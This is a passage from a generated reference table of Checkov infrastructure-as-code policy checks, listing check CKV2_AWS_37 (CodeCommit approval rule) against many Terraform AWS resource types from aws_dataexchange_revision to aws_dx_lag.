CKV2_AWS_37 | resource | aws_dataexchange_revision | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1268 | CKV2_AWS_37 | resource | aws_datapipeline_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1269 | CKV2_AWS_37 | resource | aws_datapipeline_pipeline_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1270 | CKV2_AWS_37 | resource | aws_datasync_agent | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1271 | CKV2_AWS_37 | resource | aws_datasync_location_azure_blob | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1272 | CKV2_AWS_37 | resource | aws_datasync_location_efs | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1273 | CKV2_AWS_37 | resource | aws_datasync_location_fsx_lustre_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1274 | CKV2_AWS_37 | resource | aws_datasync_location_fsx_ontap_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1275 | CKV2_AWS_37 | resource | aws_datasync_location_fsx_openzfs_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1276 | CKV2_AWS_37 | resource | aws_datasync_location_fsx_windows_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1277 | CKV2_AWS_37 | resource | aws_datasync_location_hdfs | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1278 | CKV2_AWS_37 | resource | aws_datasync_location_nfs | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1279 | CKV2_AWS_37 | resource | aws_datasync_location_object_storage | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1280 | CKV2_AWS_37 | resource | aws_datasync_location_s3 | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1281 | CKV2_AWS_37 | resource | aws_datasync_location_smb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1282 | CKV2_AWS_37 | resource | aws_datasync_task | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1283 | CKV2_AWS_37 | resource | aws_datazone_asset_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1284 | CKV2_AWS_37 | resource | aws_datazone_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1285 | CKV2_AWS_37 | resource | aws_datazone_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1286 | CKV2_AWS_37 | resource | aws_datazone_environment_blueprint_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1287 | CKV2_AWS_37 | resource | aws_datazone_environment_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1288 | CKV2_AWS_37 | resource | aws_datazone_form_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1289 | CKV2_AWS_37 | resource | aws_datazone_glossary | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1290 | CKV2_AWS_37 | resource | aws_datazone_glossary_term | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1291 | CKV2_AWS_37 | resource | aws_datazone_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1292 | CKV2_AWS_37 | resource | aws_datazone_user_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1293 | CKV2_AWS_37 | resource | aws_dax_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1294 | CKV2_AWS_37 | resource | aws_dax_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1295 | CKV2_AWS_37 | resource | aws_dax_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1296 | CKV2_AWS_37 | resource | aws_db_cluster_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1297 | CKV2_AWS_37 | resource | aws_db_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1298 | CKV2_AWS_37 | resource | aws_db_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1299 | CKV2_AWS_37 | resource | aws_db_instance_automated_backups_replication | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1300 | CKV2_AWS_37 | resource | aws_db_instance_role_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1301 | CKV2_AWS_37 | resource | aws_db_option_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1302 | CKV2_AWS_37 | resource | aws_db_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1303 | CKV2_AWS_37 | resource | aws_db_proxy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1304 | CKV2_AWS_37 | resource | aws_db_proxy_default_target_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1305 | CKV2_AWS_37 | resource | aws_db_proxy_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1306 | CKV2_AWS_37 | resource | aws_db_proxy_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1307 | CKV2_AWS_37 | resource | aws_db_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1308 | CKV2_AWS_37 | resource | aws_db_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1309 | CKV2_AWS_37 | resource | aws_db_snapshot_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1310 | CKV2_AWS_37 | resource | aws_db_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1311 | CKV2_AWS_37 | resource | aws_default_network_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1312 | CKV2_AWS_37 | resource | aws_default_route_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1313 | CKV2_AWS_37 | resource | aws_default_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1314 | CKV2_AWS_37 | resource | aws_default_subnet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1315 | CKV2_AWS_37 | resource | aws_default_vpc | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1316 | CKV2_AWS_37 | resource | aws_default_vpc_dhcp_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1317 | CKV2_AWS_37 | resource | aws_detective_graph | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1318 | CKV2_AWS_37 | resource | aws_detective_invitation_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1319 | CKV2_AWS_37 | resource | aws_detective_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1320 | CKV2_AWS_37 | resource | aws_detective_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1321 | CKV2_AWS_37 | resource | aws_detective_organization_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1322 | CKV2_AWS_37 | resource | aws_devicefarm_device_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1323 | CKV2_AWS_37 | resource | aws_devicefarm_instance_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1324 | CKV2_AWS_37 | resource | aws_devicefarm_network_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1325 | CKV2_AWS_37 | resource | aws_devicefarm_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1326 | CKV2_AWS_37 | resource | aws_devicefarm_test_grid_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1327 | CKV2_AWS_37 | resource | aws_devicefarm_upload | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1328 | CKV2_AWS_37 | resource | aws_devopsguru_event_sources_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1329 | CKV2_AWS_37 | resource | aws_devopsguru_notification_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1330 | CKV2_AWS_37 | resource | aws_devopsguru_resource_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1331 | CKV2_AWS_37 | resource | aws_devopsguru_service_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1332 | CKV2_AWS_37 | resource | aws_directory_service_conditional_forwarder | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1333 | CKV2_AWS_37 | resource | aws_directory_service_directory | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1334 | CKV2_AWS_37 | resource | aws_directory_service_log_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1335 | CKV2_AWS_37 | resource | aws_directory_service_radius_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1336 | CKV2_AWS_37 | resource | aws_directory_service_region | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1337 | CKV2_AWS_37 | resource | aws_directory_service_shared_directory | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1338 | CKV2_AWS_37 | resource | aws_directory_service_shared_directory_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1339 | CKV2_AWS_37 | resource | aws_directory_service_trust | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1340 | CKV2_AWS_37 | resource | aws_dlm_lifecycle_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1341 | CKV2_AWS_37 | resource | aws_dms_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1342 | CKV2_AWS_37 | resource | aws_dms_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1343 | CKV2_AWS_37 | resource | aws_dms_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1344 | CKV2_AWS_37 | resource | aws_dms_replication_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1345 | CKV2_AWS_37 | resource | aws_dms_replication_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1346 | CKV2_AWS_37 | resource | aws_dms_replication_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1347 | CKV2_AWS_37 | resource | aws_dms_replication_task | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1348 | CKV2_AWS_37 | resource | aws_dms_s3_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1349 | CKV2_AWS_37 | resource | aws_docdb_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1350 | CKV2_AWS_37 | resource | aws_docdb_cluster_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1351 | CKV2_AWS_37 | resource | aws_docdb_cluster_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1352 | CKV2_AWS_37 | resource | aws_docdb_cluster_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1353 | CKV2_AWS_37 | resource | aws_docdb_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1354 | CKV2_AWS_37 | resource | aws_docdb_global_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1355 | CKV2_AWS_37 | resource | aws_docdb_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1356 | CKV2_AWS_37 | resource | aws_docdbelastic_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1357 | CKV2_AWS_37 | resource | aws_drs_replication_configuration_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1358 | CKV2_AWS_37 | resource | aws_dx_bgp_peer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1359 | CKV2_AWS_37 | resource | aws_dx_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1360 | CKV2_AWS_37 | resource | aws_dx_connection_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1361 | CKV2_AWS_37 | resource | aws_dx_connection_confirmation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1362 | CKV2_AWS_37 | resource | aws_dx_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1363 | CKV2_AWS_37 | resource | aws_dx_gateway_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1364 | CKV2_AWS_37 | resource | aws_dx_gateway_association_proposal | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1365 | CKV2_AWS_37 | resource | aws_dx_hosted_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1366 | CKV2_AWS_37 | resource | aws_dx_hosted_private_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1367 | CKV2_AWS_37 | resource | aws_dx_hosted_private_virtual_interface_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1368 | CKV2_AWS_37 | resource | aws_dx_hosted_public_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1369 | CKV2_AWS_37 | resource | aws_dx_hosted_public_virtual_interface_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1370 | CKV2_AWS_37 | resource | aws_dx_hosted_transit_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1371 | CKV2_AWS_37 | resource | aws_dx_hosted_transit_virtual_interface_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1372 | CKV2_AWS_37 | resource | aws_dx_lag | Ensure CodeCommit associates an approval rule | Terraform | 